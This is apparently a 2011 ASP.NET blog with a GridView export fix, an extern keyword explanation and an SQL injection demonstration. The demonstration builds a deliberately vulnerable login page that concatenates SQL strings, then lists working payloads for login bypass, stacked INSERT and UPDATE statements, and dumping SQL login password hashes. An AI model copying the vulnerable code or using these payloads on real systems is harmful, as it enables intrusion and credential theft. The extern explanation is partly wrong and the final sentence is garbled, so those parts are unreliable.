Wednesday, August 31, 2011

Control 'gvDetails' of type 'GridView' must be placed inside a form tag with runat=server

Introduction:

Here I will explain how to solve the problem
Control 'gvdetails' of type 'GridView' must be placed inside a form tag with runat=server during export of gridview to excel or word or csv using asp.net.

Description:

During export a gridview to excel, word, notepad or csv I got error like

Control 'gvDetails' of type 'GridView' must be placed inside a form tag with runat=server


This error occurs whenever I am trying to export gridview data to excel or word or csv because compiler thinks that the control is not added to the form.

To solve this problem I have added one overriding function VerifyRenderingInServerForm event in code behind it solves my problem.

public override void VerifyRenderingInServerForm(Control control)
{
/* Verifies that the control is rendered */
}
By Setting adding this function in code behind that problem has solved and code runs successfully.

I hope it helps to solve your problem.

Thursday, August 25, 2011

Use of Extern keyword

Use the extern modifier in a method declaration to indicate that the method is implemented externally. A common use of the extern modifier is with the DllImport attribute.

For example

using System; 
using System.Runtime.InteropServices; 
class MyClass 
{
     [DllImport("User32.dll")]    
     public static extern int MessageBox(int h, string m, string c, int type);   
     public static int Main()  
     {  
	     string myString;
             Console.Write("Enter your message: ");   
             myString = Console.ReadLine();
             return MessageBox(0, myString, "My Message Box", 0);   
     }
 }
 In this above example, the program receives a string from the user and displays it inside a message box. The program uses the MessageBox method imported from the User32.dll library  Extern is nothing but a memory storage type.If we declare extern before the function than the variable can be accessed by that function not only locally but externally too. 
 extern int a=4 
 Int fun (int x) 
 { 
    x=a;
}
  print gives a=4



Tuesday, August 23, 2011

SQL INJECTION



NEED OF SQL INJECTION

Implementing an actual SQL injection attack against a system for which you have not been provided explicit authorization may result in your prosecution. This Post Tell You why we need SQL INJECTION. I will Demonstrate some of Interesting demonstration.and after Reading this Post You can Easily Understand whats the matter is.


First of All make two Table into your database.

User(Column:UserId,UserName,Password)

Orders(Column:OrderId,Amount,OrderName,UserId)

UserId in Order Table is Foreign key Of UserTable.

Now insert value in UserTable manually.For example:UserId=1,UserName=Test and Password=Test

Now insert some value in OrderTable for UserId=1

First of All make two Table into your database.


User(Column:UserId,UserName,Password)

Orders(Column:OrderId,Amount,OrderName,UserId)


UserId in Order Table is Foreign key Of UserTable.


Now insert value in UserTable manually.For example:UserId=1,UserName=Test and Password=Test


Now insert some value in OrderTable for UserId=1

<body>

<form id="form1" runat="server">

<div>

<div>

This is the UNSECURE SQL Login Page.<br />

<br />

Username:div>

<asp:TextBox ID="TextBoxUsername" runat="server">

asp:TextBox>

<br />

<br />

Password:<br />

<asp:TextBox ID="TextBoxPassword" runat="server">

asp:TextBox>

<br />

<br />

Result:<br />

<asp:Label ID="LabelResult" runat="server" Text="-">asp:Label>

<br />

<br />

<asp:Button ID="ButtonLogin" runat="server" onclick="ButtonLogin_Click"

Text="Login" />

<br />

<br />

<asp:Label ID="LabelData" runat="server" Text="YOUR OREDER HISTORY"

Visible="False">asp:Label>

<br />

<br />

<asp:GridView ID="GridView1" runat="server" Visible="False">

asp:GridView>

<br />

<asp:Button ID="ButtonLogout" runat="server" onclick="ButtonLogout_Click"

Text="Logout" Visible="False" />

<br />

<br />


div>

form>

body>



public partial class _Default : System.Web.UI.Page

{

private string _username;

private string _password;

private bool _loggedIn = false;


private string _connString =

@"Data Source=.\SQLEXPRESS;AttachDbFilename=|DataDirectory|\Login.mdf;Integrated Security=True;User Instance=True;";


private SqlConnection _sqlConn = null;


protected void Page_Load(object sender, EventArgs e)

{


}

protected void ButtonLogin_Click(object sender, EventArgs e)

{

_username = Request["TextBoxUsername"];

_password = Request["TextBoxPassword"];


if (!IsNonEmptyTextBox())

{

LabelResult.Text = "Missing UserName or Password";

return;

}


if (AttempLogin())

{

// Login succeeded


// Fill order data

FillOrderData();


EnableLoggedInVisuals();


}

else

{

DisableLoggedInVisuals();

}


}

protected bool IsNonEmptyTextBox()

{

if (_username == null ||

_username.Length == 0 ||

_password == null ||

_password.Length == 0)

{

return false;

}

else return true;


}

protected bool AttempLogin()

{

try

{

_sqlConn = new SqlConnection(_connString);

_sqlConn.Open();

}

catch (Exception ex)

{

LabelResult.Text = String.Format(

"ERROR: Failed to open SQL Connection: {0}", ex.Message);

return false;

}


SqlDataReader dataReader = null;


string SQLQuery = String.Format(

"SELECT * FROM User WHERE Username='{0}' AND Password='{1}'",

_username, _password);


SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);


try

{

dataReader = command.ExecuteReader(CommandBehavior.SingleResult);


if (dataReader.HasRows)

{

LabelResult.Text = String.Format("Login successfully");

dataReader.Close();

_loggedIn = true;

return true;

}

else

{

LabelResult.Text = String.Format(

"Login failed: Invalid UserName or Password");

dataReader.Close();

return false;

}


}

catch (Exception ex)

{

LabelResult.Text = String.Format(

"ERROR: Failed to execute SQL command: {0}", ex.Message);

return false;

}


//return true;

}

protected bool FillOrderData()

{

SqlDataReader dataReader = null;


if (!_loggedIn)

{

LabelResult.Text = "No user logged it";

return false;

}


string SQLQuery = String.Format(

"SELECT Orders.OrderId, Orders.Amount, Orders.OrderName " +

"FROM Users, Orders WHERE Users.Username='{0}' " +

"AND Users.UserId=Orders.UserId", _username);


SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);


try

{

dataReader = command.ExecuteReader(CommandBehavior.Default);


GridView1.DataSource = dataReader;

GridView1.DataBind();


dataReader.Close();


return true;

}

catch (Exception ex)

{

LabelResult.Text = String.Format(

"ERROR: Failed to execute SQL command: {0}", ex.Message);

return false;

}

}

protected void EnableLoggedInVisuals()

{

ButtonLogin.Enabled = false;

ButtonLogin.Visible = false;

LabelData.Visible = true;

GridView1.Enabled = true;

GridView1.Visible = true;

ButtonLogout.Enabled = true;

ButtonLogout.Visible = true;


}


protected void DisableLoggedInVisuals()

{

ButtonLogin.Enabled = true;

ButtonLogin.Visible = true;

LabelData.Visible = false;

GridView1.Enabled = false;

GridView1.Visible = false;

ButtonLogout.Enabled = false;

ButtonLogout.Visible = false;


}

protected void ButtonLogout_Click(object sender, EventArgs e)

{

LabelResult.Text = "Logged Out";

_loggedIn = false;

_username = "";

_password = "";

DisableLoggedInVisuals();


}

}

Now For example You Enter :UserName=UnAuthorized

Password=UnAuthorized

See Fig 1.1

Then this UserName and Password is wrong since its not in a database so as expected it shows..

Now try This to Insert


UserName:Test

Password:Test


Then as Expected Output

See Fig 1.2


Now if u know that someone UserName is Test then You can easily Enter into the site.then insert as below

UserName=Test'--

Password=none

In Password Textbox You can insert anything as you wish.Then the Output will be

Though the Password is wrong u can enter into the site.This is because after UserName Test there is symbol '– is consider as a comment so after that symbol Password filed is consider as a comment so,it cant check Password field it only check UserName only.and Login will be successful.

See Fig 1.3

UserName:' or 1=1 –

Password:anything


still u can enter into site same mechanism.

See Fig 1.6

Next Trick

If you know that there is a table User is there in this site then you can also insert or Update in the User Table.


For Example


UserName:';INSERT INTO User VALUES (1,'Hi','Hi')--

Password:none

Then You will get


Now Try to Login Using


UserName:Hi

Password:Hi


You will get into the site

See fig 1.4

same way Update it like

UserName=';UPDATE Orders Set Amount=100--

Password=none

then OutPut will be


Now Login using above example

we will get updated Amount

See Fig 1.5

Now Last one but Complex Trick

So this is a little tricky. sys.sql_logins table has the information of interest. But how do we go about displaying it.
The answer is simple, we inject all the information into the Orders table and get the query to display it.

Username: 'OR 1=1;INSERT INTO Orders (OrderId, UserId, Amount, CreditCard) SELECT principal_id+1000,principal_id+1000,principal_id*1.0,name FROM sys.sql_logins UNION SELECT principal_id+1000,principal_id+1000,principal_id*1.0,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins--
Password: none

still you can Enter Into the Site

To avoid this we have to use Sql Injection.In my next Post I will show You.